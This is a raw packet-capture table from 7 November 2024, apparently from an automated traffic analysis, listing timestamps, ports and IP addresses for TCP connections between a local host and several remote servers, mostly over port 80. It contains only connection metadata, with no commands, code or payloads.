Nov 7, 2024 17:25:44.695557117 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.695580959 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.696046114 CET	49963	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.711647987 CET	49964	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.711658955 CET	443	49964	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.758518934 CET	49964	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.768892050 CET	443	49962	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.769332886 CET	443	49962	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.769399881 CET	49962	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.769455910 CET	49962	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.769469976 CET	443	49962	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.769481897 CET	49962	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.769489050 CET	443	49962	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.772510052 CET	49969	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.772531033 CET	443	49969	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.772689104 CET	49969	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.772871017 CET	49969	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.772882938 CET	443	49969	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.807097912 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.807112932 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.807125092 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.807190895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.807192087 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.807204962 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.807219982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.807234049 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.807245970 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.807277918 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.807303905 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.807411909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.807424068 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.807436943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.807460070 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.807468891 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.807797909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.807848930 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.807857037 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.807869911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.807908058 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.807950974 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.807964087 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.808079004 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.809591055 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.809640884 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.809653044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.809695005 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.809700012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.809715033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.809717894 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.809734106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.809748888 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.809784889 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.809787989 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.809797049 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.809808016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.809818983 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.809830904 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.809835911 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.809845924 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.809854984 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.809859037 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.809874058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.809875965 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.809897900 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.809928894 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.810225010 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810245991 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810256958 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810276031 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.810291052 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.810312986 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810326099 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810337067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810348034 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810364008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810375929 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.810389042 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810400963 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.810426950 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.810458899 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810471058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810497999 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.810514927 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810524940 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.810527086 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810558081 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.810580969 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.810781002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810794115 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810806036 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810817957 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.810827017 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.810858011 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.811058044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.811100006 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.811126947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.811141014 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.811183929 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.922198057 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922244072 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922255993 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922261953 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.922269106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922282934 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922297001 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.922314882 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922337055 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.922338963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922350883 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922367096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.922388077 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.922466993 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922483921 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922496080 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922513008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.922550917 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.922620058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922669888 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.922699928 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922710896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922734022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922744989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922755957 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.922759056 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.922789097 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.922801018 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.923034906 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.923060894 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.923072100 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.923099995 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.923127890 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.925482035 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.925534010 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.925540924 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.925545931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.925559044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.925574064 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.925606012 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.925626993 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.925638914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.925648928 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.925661087 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.925677061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.925695896 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.925810099 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.925822020 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.925832987 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.925862074 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.925873995 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.925946951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.925959110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.925970078 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.925981045 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.926008940 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.926038980 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.926173925 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.926256895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.926280022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.926291943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.926299095 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.926305056 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.926318884 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.926326036 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.926357031 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.926386118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.926398039 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.926405907 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.926433086 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.926450968 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.926707983 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.926762104 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.926788092 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.926801920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.926824093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.926835060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.926837921 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.926846981 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.926871061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.926896095 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.927145004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.927155972 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.927174091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.927185059 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.927197933 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.927207947 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.927210093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.927217960 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.927239895 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.927265882 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.967246056 CET	443	49965	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.967545033 CET	49965	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.967560053 CET	443	49965	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.968008995 CET	443	49965	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.968355894 CET	49965	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.968415022 CET	443	49965	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:45.031182051 CET	49965	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:45.038281918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.038305044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.038316965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.038355112 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.038378000 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.038464069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.038479090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.038489103 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.038500071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.038508892 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.038515091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.038536072 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.038568020 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.038630962 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.038640976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.038655043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.038667917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.038678885 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.038678885 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.038696051 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.038723946 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.038733006 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.038750887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.038760900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.038790941 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.038801908 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.040961027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041003942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041016102 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041062117 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.041076899 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.041085005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041098118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041167974 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.041245937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041315079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041325092 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041377068 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041393042 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041404009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041415930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041460991 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041475058 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.041475058 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.041475058 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.041490078 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.041501999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041512012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041543007 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.041568995 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.041686058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041750908 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041762114 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041800976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041800976 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.041865110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041907072 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.041944027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041955948 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041965961 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041976929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.041995049 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.042013884 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.042133093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.042176008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.042187929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.042222023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.042233944 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.042233944 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.042259932 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.042287111 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.042432070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.042452097 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.042463064 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.042469025 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.042496920 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.042637110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.042649031 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.042689085 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.042701960 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.042762995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.042774916 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.042798996 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.042814016 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.042845011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.042856932 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.042968035 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.153120041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.153152943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.153189898 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.153266907 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.153809071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.153861046 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.153901100 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.153913021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.153932095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.153940916 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.153944016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.153961897 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.153985023 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.154012918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.154023886 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.154059887 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.154153109 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.154203892 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.154264927 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.154285908 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.154303074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.154311895 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.154314995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.154331923 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.154341936 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.154362917 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.154398918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.154411077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.154452085 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.156472921 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.156519890 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.156531096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.156557083 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.156570911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.156582117 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.156593084 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.156594038 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.156662941 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.156665087 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.156709909 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.156729937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.156743050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.156769037 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.156785011 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.156815052 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.156835079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.156853914 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.156951904 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.156960964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.156991005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157001972 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157028913 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.157047033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157058001 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.157058954 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:45.157088041 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:45.157098055 CET	49911	80	192.168.2.6	95.215.204.182
